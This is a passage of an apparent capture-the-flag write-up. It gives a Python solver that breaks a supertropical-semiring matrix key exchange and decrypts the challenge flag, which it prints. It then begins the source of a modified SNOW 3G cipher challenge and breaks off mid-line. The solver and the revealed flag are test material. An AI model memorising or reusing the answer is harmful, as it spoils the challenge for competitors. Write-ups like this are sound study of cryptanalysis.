P[m,k]\u3002<br>$$<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u56fe\u8bba\u6c42\u89e3<\/strong>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u5c06\u7d22\u5f15\u89c6\u4e3a\u8282\u70b9\uff0c\u5229\u7528\u7b49\u5f0f\u7ea6\u675f\u6784\u5efa\u4e8c\u5206\u56fe\uff0cBFS \u6c42\u89e3\u76f8\u5bf9\u6570\u503c\u3002<\/li>\n\n\n\n<li><strong>\u5206\u91cf\u5408\u5e76<\/strong>\uff1a\u672c\u9898\u56fe\u4e0d\u8fde\u901a\u3002\u9700\u5229\u7528\u4e0d\u7b49\u5f0f\u7ea6\u675f\u8ba1\u7b97\u4e24\u4e2a\u8fde\u901a\u5206\u91cf\u95f4\u7684 <strong>Offset \u533a\u95f4 [L, U]<\/strong>\u3002\u53d6\u8fb9\u754c\u503c\u5c06\u5206\u91cf\u7f1d\u5408\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u683c\u5f0f\u5316<\/strong>\uff1a\u8fd8\u539f KA\u540e\uff0c\u8f6c\u5b57\u7b26\u4e32\u65f6\u5fc5\u987b\u6a21\u62df SageMath \u7684<strong>\u5168\u5c40\u6700\u5927\u5bbd\u5ea6\u53f3\u5bf9\u9f50<\/strong>\u683c\u5f0f\uff0c\u5426\u5219 MD5 \u9519\u8bef\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">exp.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import re\nimport ast\nimport itertools\nfrom dataclasses import dataclass\nfrom collections import defaultdict, deque\nfrom hashlib import md5\nfrom Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\n\n@dataclass(frozen=True)\nclass Elem:\n    t: tuple\n    n: int\n    def is_zero(self): return self.t == (\"-\u221e\",)\n    def f(self):\n        if self.is_zero(): return self\n        if self.n == 0: return self\n        p, q, r = self.t\n        return Elem((p+q+r, p-q+r, p+q-r), 0)\n    def ghost(self):\n        if self.is_zero(): return (\"-\u221e\",)\n        return self.f().t\n    def __lt__(self, other):\n        if self.is_zero(): return not other.is_zero()\n        if other.is_zero(): return False\n        if self.n != other.n: return self.f() &lt; other.f()\n        return self.t &lt; other.t\n    def __add__(self, other):\n        sf = self.f()\n        of = other.f()\n        if sf &gt; of: return self\n        elif sf &lt; of: return other\n        else: return sf\n    def __mul__(self, other):\n        if self.is_zero() or other.is_zero(): return Elem((\"-\u221e\",), 0)\n        if self.n == other.n:\n            return Elem(tuple(i+j for i, j in zip(self.t, other.t)), self.n)\n        if self.n == 0 and other.n == 1:\n            return Elem(tuple(i+j for i, j in zip(self.t, other.f().t)), 0)\n        if self.n == 1 and other.n == 0:\n            return Elem(tuple(i+j for i, j in zip(self.f().t, other.t)), 0)\n        raise ValueError(\"bad mul\")\n    def __repr__(self):\n        if self.is_zero(): return \"T(('-\u221e',), 0)\"\n        p, q, r = self.t\n        return f\"T(({p}, {q}, {r}), {self.n})\"\n\ndef sage_str_matrix(M):\n    strs = &#91;&#91;repr(x) for x in row] for row in M]\n    w = max(len(s) for row in strs for s in row)\n    lines = &#91;]\n    for row in strs:\n        lines.append(\"&#91;\" + \" \".join(s.rjust(w) for s in row) + \"]\")\n    return \"n\".join(lines)\n\ndef circulant_from_row(row):\n    n = len(row)\n    M = &#91;&#91;None]*n for _ in range(n)]\n    for i in range(n):\n        for j in range(n):\n            M&#91;i]&#91;j] = row&#91;(j-i) % n]\n    return M\n\ndef matmul(A, B):\n    n = len(A)\n    m = len(B&#91;0])\n    k = len(B)\n    Z = Elem((\"-\u221e\",), 0)\n    out = &#91;&#91;Z for _ in range(m)] for __ in range(n)]\n    for i in range(n):\n        for j in range(m):\n            s = Z\n            for t in range(k):\n                s = s + (A&#91;i]&#91;t] * B&#91;t]&#91;j])\n            out&#91;i]&#91;j] = s\n    return out\n\ndef f_inv(ghost_t):\n    u, v, w = ghost_t\n    if (v+w) % 2 or (u-v) % 2 or (u-w) % 2: return None\n    p = (v+w)\/\/2; q = (u-v)\/\/2; r = (u-w)\/\/2\n    return (p, q, r)\n\ndef candidates_from_ghost(gt):\n    cands = &#91;Elem(gt, 0)]\n    tinv = f_inv(gt)\n    if tinv is not None: cands.append(Elem(tinv, 1))\n    out = &#91;]\n    for x in cands:\n        if x not in out: out.append(x)\n    return out\n\ndef vec_sub(v1, v2): return tuple(a - b for a, b in zip(v1, v2))\ndef vec_add(v1, v2): return tuple(a + b for a, b in zip(v1, v2))\n\ndef solve_C1_C2(P, K1):\n    N = 5\n    Pg = &#91;&#91;x.ghost() for x in row] for row in P]\n    K1g = &#91;&#91;x.ghost() for x in row] for row in K1]\n\n    Smax = &#91;&#91;None]*N for _ in range(N)]\n    for u in range(N):\n        for v in range(N):\n            cands = &#91;]\n            for i in range(N):\n                for j in range(N):\n                    for m in range(N):\n                        for k in range(N):\n                            if (m-i)%N == u and (j-k)%N == v:\n                                diff = (K1g&#91;i]&#91;j]&#91;0]-Pg&#91;m]&#91;k]&#91;0], K1g&#91;i]&#91;j]&#91;1]-Pg&#91;m]&#91;k]&#91;1], K1g&#91;i]&#91;j]&#91;2]-Pg&#91;m]&#91;k]&#91;2])\n                                cands.append(diff)\n            Smax&#91;u]&#91;v] = min(cands)\n\n    cand = {}\n    for i in range(N):\n        for j in range(N):\n            opts = &#91;]\n            for m in range(N):\n                for k in range(N):\n                    u = (m-i)%N; v = (j-k)%N\n                    val = (Pg&#91;m]&#91;k]&#91;0]+Smax&#91;u]&#91;v]&#91;0], Pg&#91;m]&#91;k]&#91;1]+Smax&#91;u]&#91;v]&#91;1], Pg&#91;m]&#91;k]&#91;2]+Smax&#91;u]&#91;v]&#91;2])\n                    if val == K1g&#91;i]&#91;j]: opts.append((u, v, m, k))\n            cand&#91;(i, j)] = opts\n\n    opt_edges = {k: sorted(set((u, v) for u, v, _, _ in vlist)) for k, vlist in cand.items()}\n    t_entries = &#91;(i, j) for i in range(N) for j in range(N) if K1&#91;i]&#91;j].n == 1]\n    g_entries = &#91;(i, j) for i in range(N) for j in range(N) if K1&#91;i]&#91;j].n == 0]\n    t_opts = {e: opt_edges&#91;e] for e in t_entries}\n    g_opts = {e: opt_edges&#91;e] for e in g_entries}\n\n    mandatory = set(t_opts&#91;e]&#91;0] for e in t_entries if len(t_opts&#91;e]) == 1)\n    forced = {}\n    choice_entries = &#91;]\n    for e in t_entries:\n        opts = t_opts&#91;e]\n        if len(opts) == 1: forced&#91;e] = opts&#91;0]\n        else:\n            mand = &#91;ed for ed in opts if ed in mandatory]\n            if mand: forced&#91;e] = mand&#91;0]\n            else: choice_entries.append(e)\n\n    def build_sets(choice_map):\n        E = set(); forbidden = set()\n        for e in t_entries:\n            chosen = choice_map&#91;e]\n            E.add(chosen)\n            for ed in t_opts&#91;e]:\n                if ed != chosen: forbidden.add(ed)\n        if E &amp; forbidden: return None\n        return E, forbidden\n\n    def solve_ghosts(edges):\n        adj = defaultdict(list)\n        for u, v in edges:\n            adj&#91;('A', u)].append(('B', v))\n            adj&#91;('B', v)].append(('A', u))\n\n        comp_id = {}; comps = &#91;]\n        nodes = &#91;('A', u) for u in range(N)] + &#91;('B', v) for v in range(N)]\n        for node in nodes:\n            if node in comp_id: continue\n            q = deque(&#91;node]); comp = &#91;]\n            comp_id&#91;node] = len(comps)\n            while q:\n                x = q.popleft()\n                comp.append(x)\n                for y in adj&#91;x]:\n                    if y not in comp_id:\n                        comp_id&#91;y] = comp_id&#91;node]\n                        q.append(y)\n            comps.append(comp)\n\n        base = {}\n        for comp in comps:\n            ref = ('A', 0) if ('A', 0) in comp else comp&#91;0]\n            vals = {ref: (0, 0, 0)}\n            q = deque(&#91;ref])\n            while q:\n                x = q.popleft()\n                neighbors = adj&#91;x]\n                for nb in neighbors:\n                    if x&#91;0] == 'A': u, v = x&#91;1], nb&#91;1]\n                    else: u, v = nb&#91;1], x&#91;1]\n                    target = (Smax&#91;u]&#91;v]&#91;0]-vals&#91;x]&#91;0], Smax&#91;u]&#91;v]&#91;1]-vals&#91;x]&#91;1], Smax&#91;u]&#91;v]&#91;2]-vals&#91;x]&#91;2])\n                    if nb in vals and vals&#91;nb] != target: return None\n                    if nb not in vals:\n                        vals&#91;nb] = target\n                        q.append(nb)\n            base.update(vals)\n        return base, comps, comp_id\n\n    choice_lists = &#91;t_opts&#91;e] for e in choice_entries]\n    for picked in itertools.product(*choice_lists):\n        cm = dict(forced)\n        for e, ed in zip(choice_entries, picked): cm&#91;e] = ed\n        sets = build_sets(cm)\n        if not sets: continue\n        E_tang, forbidden = sets\n\n        uncovered = &#91;]\n        for e in g_entries:\n            if not (set(g_opts&#91;e]) &amp; E_tang):\n                avail = &#91;ed for ed in g_opts&#91;e] if ed not in forbidden]\n                if not avail: break\n                uncovered.append((e, avail))\n        else:\n            prod_lists = &#91;avail for _, avail in uncovered]\n            for extra_pick in itertools.product(*prod_lists):\n                E = set(E_tang) | set(extra_pick)\n                if E &amp; forbidden: continue\n\n                sol = solve_ghosts(E)\n                if sol is None: continue\n                base, comps, comp_id = sol\n\n                if len(comps) != 2: continue\n\n                compA0 = comp_id&#91;('A', 0)]\n                other = 1 - compA0\n                L0, U0 = -float('inf'), float('inf')\n                ok = True\n\n                for u in range(N):\n                    for v in range(N):\n                        nodeA, nodeB = ('A', u), ('B', v)\n                        valA = base&#91;nodeA]; valB = base&#91;nodeB]\n                        sum0 = valA&#91;0] + valB&#91;0]\n                        bound0 = Smax&#91;u]&#91;v]&#91;0]\n                        coef = int(comp_id&#91;nodeA] == other) - int(comp_id&#91;nodeB] == other)\n                        if coef == 0:\n                            if sum0 &gt; bound0: ok = False; break\n                        elif coef == 1: U0 = min(U0, bound0 - sum0)\n                        elif coef == -1: L0 = max(L0, sum0 - bound0)\n                    if not ok: break\n\n                if not ok or L0 &gt; U0: continue\n                c0 = L0\n\n                Aghost = &#91;]\n                for u in range(N):\n                    val = base&#91;('A', u)]\n                    if comp_id&#91;('A', u)] == other: val = (val&#91;0]+c0, val&#91;1], val&#91;2])\n                    Aghost.append(val)\n                Bghost = &#91;]\n                for v in range(N):\n                    val = base&#91;('B', v)]\n                    if comp_id&#91;('B', v)] == other: val = (val&#91;0]-c0, val&#91;1], val&#91;2])\n                    Bghost.append(val)\n\n                eq_edges = set()\n                for u in range(N):\n                    for v in range(N):\n                        s = (Aghost&#91;u]&#91;0]+Bghost&#91;v]&#91;0], Aghost&#91;u]&#91;1]+Bghost&#91;v]&#91;1], Aghost&#91;u]&#91;2]+Bghost&#91;v]&#91;2])\n                        if s &gt; Smax&#91;u]&#91;v]: ok = False; break\n                        if s == Smax&#91;u]&#91;v]: eq_edges.add((u, v))\n                    if not ok: break\n                if not ok: continue\n\n                for (u, v) in forbidden:\n                    s = (Aghost&#91;u]&#91;0]+Bghost&#91;v]&#91;0], Aghost&#91;u]&#91;1]+Bghost&#91;v]&#91;1], Aghost&#91;u]&#91;2]+Bghost&#91;v]&#91;2])\n                    if s == Smax&#91;u]&#91;v]: ok = False; break\n                if not ok: continue\n\n                for (i, j) in t_entries:\n                    tight = &#91;ed for ed in opt_edges&#91;(i, j)] if ed in eq_edges]\n                    if len(tight) != 1: ok = False; break\n                if not ok: continue\n\n                for (i, j) in g_entries:\n                    tight = &#91;ed for ed in opt_edges&#91;(i, j)] if ed in eq_edges]\n                    if len(tight) &lt; 1: ok = False; break\n                if not ok: continue\n\n                best = (Aghost, Bghost, eq_edges, cand)\n                break\n        if best: break\n\n    if not best: raise RuntimeError(\"no solution\")\n    Aghost, Bghost, eq_edges, cand = best\n    winners = {}\n    for i in range(N):\n        for j in range(N):\n            good = &#91;opt for opt in cand&#91;(i, j)] if (opt&#91;0], opt&#91;1]) in eq_edges]\n            if len(good) != 1: raise RuntimeError\n            winners&#91;(i, j)] = good&#91;0]\n\n    d_uv = {}\n    for (i, j), (u, v, m, k) in winners.items():\n        ghostd = (Aghost&#91;u]&#91;0]+Bghost&#91;v]&#91;0], Aghost&#91;u]&#91;1]+Bghost&#91;v]&#91;1], Aghost&#91;u]&#91;2]+Bghost&#91;v]&#91;2])\n        x_elem = P&#91;m]&#91;k]\n        y_elem = K1&#91;i]&#91;j]\n        found = None\n        for d in candidates_from_ghost(ghostd):\n            if x_elem * d == y_elem: found = d; break\n        if found is None: raise RuntimeError\n        if (u, v) in d_uv and d_uv&#91;(u, v)] != found: raise RuntimeError\n        d_uv&#91;(u, v)] = found\n\n    cand_c = &#91;candidates_from_ghost(Aghost&#91;u]) for u in range(N)]\n    cand_d = &#91;candidates_from_ghost(Bghost&#91;v]) for v in range(N)]\n    sol_pairs = &#91;]\n    for cs in itertools.product(*cand_c):\n        for ds in itertools.product(*cand_d):\n            match_all = True\n            for (u, v), target in d_uv.items():\n                if cs&#91;u] * ds&#91;v] != target: match_all = False; break\n            if match_all: sol_pairs.append((cs, ds))\n\n    if len(sol_pairs) == 1:\n        cs, ds = sol_pairs&#91;0]\n        C1 = circulant_from_row(list(cs))\n        C2 = circulant_from_row(list(ds))\n        return C1, C2\n    raise RuntimeError(\"No solution\")\n\ndef parse_data(filename):\n    print(f\"&#91;*] Reading data from {filename}...\")\n    try:\n        with open(filename, 'r', encoding='utf-8') as f: content = f.read()\n    except FileNotFoundError: return None, None, None, None\n\n    def parse_matrix_str(name):\n        match = re.search(rf\"{name}s*=s*&#91;(.*?)]\", content, re.DOTALL)\n        if not match: return None\n        items = re.findall(r\"T((s*(-?d+),s*(-?d+),s*(-?d+)),s*(d))\", match.group(1))\n        flat = &#91;Elem((int(p), int(q), int(r)), int(n)) for p, q, r, n in items]\n        if not flat: return None\n        return &#91;flat&#91;i:i+5] for i in range(0, 25, 5)]\n\n    P = parse_matrix_str(\"P\")\n    K1 = parse_matrix_str(\"K1\")\n    K6 = parse_matrix_str(\"K6\")\n\n    enc_match = re.search(r\"encs*=s*(b'.*?')\", content)\n    if not enc_match: enc_match = re.search(r\"encs*=s*(.*)\", content)\n    enc = ast.literal_eval(enc_match.group(1)) if enc_match else None\n\n    return P, K1, K6, enc\n\ndef main():\n    P, K1, K6, enc = parse_data(\"mi.txt\")\n    if not P: return\n    print(\"&#91;*] Solving for C1 and C2...\")\n    C1, C2 = solve_C1_C2(P, K1)\n    print(\"&#91;*] Calculating KA...\")\n    KA = matmul(matmul(C1, K6), C2)\n    sKA = sage_str_matrix(KA)\n    key = md5(sKA.encode()).digest()\n    print(\"&#91;*] Decrypting...\")\n    pt = unpad(AES.new(key=key, mode=AES.MODE_CTR, nonce=b\"gorilla\").decrypt(enc), 16)\n    print(\"n\" + pt.decode())\n\nif __name__ == \"__main__\":\n    main()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-382.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"665\" height=\"151\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-382.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2715\"  sizes=\"auto, (max-width: 665px) 100vw, 665px\" \/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>UniCTF{5up3r7r0p1c41_53m1r1n6_15_un54f3!@#$%}<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Subgroup-Spirit<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-383-1024x417.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"417\" data-original=\"https:\/\/www.sanjiuctf.com\/wp-content\/uploads\/2026\/02\/image-383-1024x417.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-2716\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">task1.py<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from __future__ import annotations\nfrom dataclasses import dataclass\nfrom hashlib import sha1\nfrom typing import List\nfrom secret import flag\nimport random\n\nSR = &#91;\n    0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,\n    0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,\n    0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,\n    0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,\n    0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,\n    0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,\n    0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,\n    0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,\n    0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,\n    0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,\n    0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,\n    0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,\n    0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,\n    0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,\n    0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,\n    0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16\n]\n\nSQ = &#91;\n    0x25,0x24,0x73,0x67,0xD7,0xAE,0x5C,0x30,0xA4,0xEE,0x6E,0xCB,0x7D,0xB5,0x82,0xDB,\n    0xE4,0x8E,0x48,0x49,0x4F,0x5D,0x6A,0x78,0x70,0x88,0xE8,0x5F,0x5E,0x84,0x65,0xE2,\n    0xD8,0xE9,0xCC,0xED,0x40,0x2F,0x11,0x28,0x57,0xD2,0xAC,0xE3,0x4A,0x15,0x1B,0xB9,\n    0xB2,0x80,0x85,0xA6,0x2E,0x02,0x47,0x29,0x07,0x4B,0x0E,0xC1,0x51,0xAA,0x89,0xD4,\n    0xCA,0x01,0x46,0xB3,0xEF,0xDD,0x44,0x7B,0xC2,0x7F,0xBE,0xC3,0x9F,0x20,0x4C,0x64,\n    0x83,0xA2,0x68,0x42,0x13,0xB4,0x41,0xCD,0xBA,0xC6,0xBB,0x6D,0x4D,0x71,0x21,0xF4,\n    0x8D,0xB0,0xE5,0x93,0xFE,0x8F,0xE6,0xCF,0x43,0x45,0x31,0x22,0x37,0x36,0x96,0xFA,\n    0xBC,0x0F,0x08,0x52,0x1D,0x55,0x1A,0xC5,0x4E,0x23,0x69,0x7A,0x92,0xFF,0x5B,0x5A,\n    0xEB,0x9A,0x1C,0xA9,0xD1,0x7E,0x0D,0xFC,0x50,0x8A,0xB6,0x62,0xF5,0x0A,0xF8,0xDC,\n    0x03,0x3C,0x0C,0x39,0xF1,0xB8,0xF3,0x3D,0xF2,0xD5,0x97,0x66,0x81,0x32,0xA0,0x00,\n    0x06,0xCE,0xF6,0xEA,0xB7,0x17,0xF7,0x8C,0x79,0xD6,0xA7,0xBF,0x8B,0x3F,0x1F,0x53,\n    0x63,0x75,0x35,0x2C,0x60,0xFD,0x27,0xD3,0x94,0xA5,0x7C,0xA1,0x05,0x58,0x2D,0xBD,\n    0xD9,0xC7,0xAF,0x6B,0x54,0x0B,0xE0,0x38,0x04,0xC8,0x9D,0xE7,0x14,0xB1,0x87,0x9C,\n    0xDF,0x6F,0xF9,0xDA,0x2A,0xC4,0x59,0x16,0x74,0x91,0xAB,0x26,0x61,0x76,0x34,0x2B,\n    0xAD,0x99,0xFB,0x72,0xEC,0x33,0x12,0xDE,0x98,0x3B,0xC0,0x9B,0x3E,0x18,0x10,0x3A,\n    0x56,0xE1,0x77,0xC9,0x1E,0x9E,0x95,0xA3,0x90,0x19,0xA8,0x6C,0x09,0xD0,0xF0,0x86\n]\n\ndef _u32(x: int) -&gt; int:\n    return x &amp; 0xFFFFFFFF\n\ndef _mulx(v: int, c: int) -&gt; int:\n    r = ((v &lt;&lt; 1) &amp; 0xFF)\n    if v &amp; 0x80:\n        r ^= c\n    return r\n\ndef _mulx_pow(v: int, i: int, c: int) -&gt; int:\n    for _ in range(i):\n        v = _mulx(v, c)\n    return v\n\ndef _mul_alpha_u32(c: int) -&gt; int:\n    b0 = _mulx_pow(c, 23, 0xA9)\n    b1 = _mulx_pow(c, 245, 0xA9)\n    b2 = _mulx_pow(c, 48, 0xA9)\n    b3 = _mulx_pow(c, 239, 0xA9)\n    return (b0 &lt;&lt; 24) | (b1 &lt;&lt; 16) | (b2 &lt;&lt; 8) | b3\n\ndef _div_alpha_u32(c: int) -&gt; int:\n    b0 = _mulx_pow(c, 16, 0xA9)\n    b1 = _mulx_pow(c, 39, 0xA9)\n    b2 = _mulx_pow(c, 6, 0xA9)\n    b3 = _mulx_pow(c, 64, 0xA9)\n    return (b0 &lt;&lt; 24) | (b1 &lt;&lt; 16) | (b2 &lt;&lt; 8) | b3\n\nMUL_A = &#91;_mul_alpha_u32(i) for i in range(256)]\nDIV_A = &#91;_div_alpha_u32(i) for i in range(256)]\n\ndef _s_transform(w: int, box: List&#91;int], red_const: int) -&gt; int:\n    w0 = (w &gt;&gt; 24) &amp; 0xFF\n    w1 = (w &gt;&gt; 16) &amp; 0xFF\n    w2 = (w &gt;&gt; 8) &amp; 0xFF\n    w3 = w &amp; 0xFF\n\n    a0 = box&#91;w0]\n    a1 = box&#91;w1]\n    a2 = box&#91;w2]\n    a3 = box&#91;w3]\n\n    x0 = _mulx(a0, red_const)\n    x1 = _mulx(a1, red_const)\n    x2 = _mulx(a2, red_const)\n    x3 = _mulx(a3, red_const)\n\n    r0 = x0 ^ a1 ^ a2 ^ x3 ^ a3\n    r1 = x0 ^ a0 ^ x1 ^ a2 ^ a3\n    r2 = a0 ^ x1 ^ a1 ^ x2 ^ a3\n    r3 = a0 ^ a1 ^ x2 ^ a2 ^ x3\n\n    return (r0 &lt;&lt; 24) | (r1 &lt;&lt; 16) | (r2 &lt;&lt; 8) | r3\n\ndef _S1(w: int) -&gt; int:\n    return _s_transform(w, SR, 0x1B)\n\ndef _S2(w: int) -&gt; int:\n    return _s_transform(w, SQ, 0x69)\n\n@dataclass\nclass Snow3G:\n    s: List&#91;int]\n    r1: int = 0\n    r2: int = 0\n    r3: int = 0\n    mul_a: List&#91;int] = None\n    div_a: List&#91;int] = None\n\n    @staticmethod\n    def initialize(key: bytes, iv: bytes) -&gt; \"Snow3G\":\n        if len(key) != 16 or len(iv) != 16:\n            raise ValueError(\"key and iv must be 16 bytes each\")\n\n        K0 = int.from_bytes(key&#91;0:4], \"big\")\n        K1 = int.from_bytes(key&#91;4:8], \"big\")\n        K2 = int.from_bytes(key&#91;8:12], \"big\")\n        K3 = int.from_bytes(key&#91;12:16], \"big\")\n\n        IV0 = int.from_bytes(iv&#91;0:4], \"big\")\n        IV1 = int.from_bytes(iv&#91;4:8], \"big\")\n        IV2 = int.from_bytes(iv&#91;8:12], \"big\")\n        IV3 = int.from_bytes(iv&#91;12:16], \"big\")\n\n        ONE = 0xFFFFFFFF\n\n        s = &#91;0] * 16\n        s&#91;15] = K3 ^ IV0\n        s&#91;14] = K2\n        s&#91;13] = K1\n        s&#91;12] = K0 ^ IV1\n        s&#91;11] = K3 ^ ONE\n        s&#91;10] = K2 ^ ONE ^ IV2\n        s&#91;9]  = K1 ^ ONE ^ IV3\n        s&#91;8]  = K0 ^ ONE\n        s&#91;7]  = K3\n        s&#91;6]  = K2\n        s&#91;5]  = K1\n        s&#91;4]  = K0\n        s&#91;3]  = K3 ^ ONE\n        s&#91;2]  = K2 ^ ONE\n        s&#91;1]  = K1 ^ ONE\n        s&#91;0]  = K0 ^ ONE\n\n        ctx = Snow3G(s=s, r1=0, r2=0, r3=0, mul_a=MUL_A, div_a=DIV_A)\n\n        for _ in range(32):\n            F = ctx._clock_fsm()\n            ctx._clock_lfsr_init(F)\n\n        ctx._clock_fsm()\n        ctx._clock_lfsr_keystream()\n        return ctx\n\n    def _clock_fsm(self) -&gt; int:\n        F = _u32(self.s&#91;15] + self.r1) ^ self.r2\n        r = _u32(self.r2 + (self.r3 ^ self.s&#91;5]))\n        self.r3 = _S2(self.r2)\n        self.r2 = _S1(self.r1)\n        self.r1 = r\n        return _u32(F)\n\n    def _clock_lfsr_init(self, F: int) -&gt; None:\n        s0 = self.s&#91;0]\n        s2 = self.s&#91;2]\n        s11 = self.s&#91;11]\n        v = ((s0 &lt;&lt; 8) &amp; 0xFFFFFFFF) ^ self.mul_a&#91;(s0 &gt;&gt; 24) &amp; 0xFF] ^ s2 ^ (s11 &gt;&gt; 8) ^ self.div_a&#91;s11 &amp; 0xFF] ^ F\n        v = _u32(v)\n        self.s = self.s&#91;1:] + &#91;v]\n\n    def _clock_lfsr_keystream(self) -&gt; None:\n        s0 = self.s&#91;0]\n        s2 = self.s&#91;2]\n        s11 = self.s&#91;11]\n        v = ((s0 &lt;&lt; 8) &amp; 0xFFFFFFFF) ^ self.mul_a&#91;(s0 &gt;&gt; 24) &amp; 0xFF] ^ s2 ^ (s11 &gt;&gt; 8) ^ self.div_a&#91;s11 &amp; 0xFF]\n        v = _u32(v)\n        self.s = self.s&#91;1:] + &#91;v]\n\n    def keystream_word(self) -&gt; int:\n        F = self._clock_fsm()\n        z = _u32(F ^ self.s&#91;0])\n        if z &amp; 1:\n            self._clock_lfsr_keystream()\n        self._clock_lfsr_keystream()\n        return z\n\n    def keystream_bytes(self, nbytes: int) -&gt; bytes:\n        out = bytearray()\n        while len(out) &lt; nbytes:\n            out += self.keystream_word().to_bytes(4, \"big\")\n        return bytes(out&#91;:nbytes])\n\ndef xor_bytes(a: bytes, b: bytes) -&gt; bytes:\n    return bytes(x ^ y for x, y in zip(a, b))\n\ndef snow3g_encrypt(key: bytes, iv: bytes, plaintext: bytes) -&gt; bytes:\n    s = Snow3G.initialize(key, iv)\n    keystream = s.keystream_bytes(len(plaintext))\n    return xor_bytes(plaintext, keystream)\n\nkey = b''\niv  = b''\n\nctx0 = Snow3G.initialize(key, iv)\nstate_bytes = b\"\".join(x.to_bytes(4, \"big\") for x in ctx0.s&#91;::-1]) \n            + ctx0.r1.to_bytes(4, \"big\") + ctx0.r2.to_bytes(4, \"big\") + ctx0.r3.to_bytes(4, \"big\")\n\nassert 'UniCTF{' + sha1(state_bytes).hexdigest() + '}' == flag\n\nctx = Snow3G.initialize(key, iv)\nsnaps = {}\nfor t in range(9):\n    snaps&#91;t] = {\"R1\": ctx.r1, \"R2\": ctx.r2, \"R3\": ctx.r3, \"s\": ctx.s&#91;0]}\n    ctx.keystream_word()\nleak = 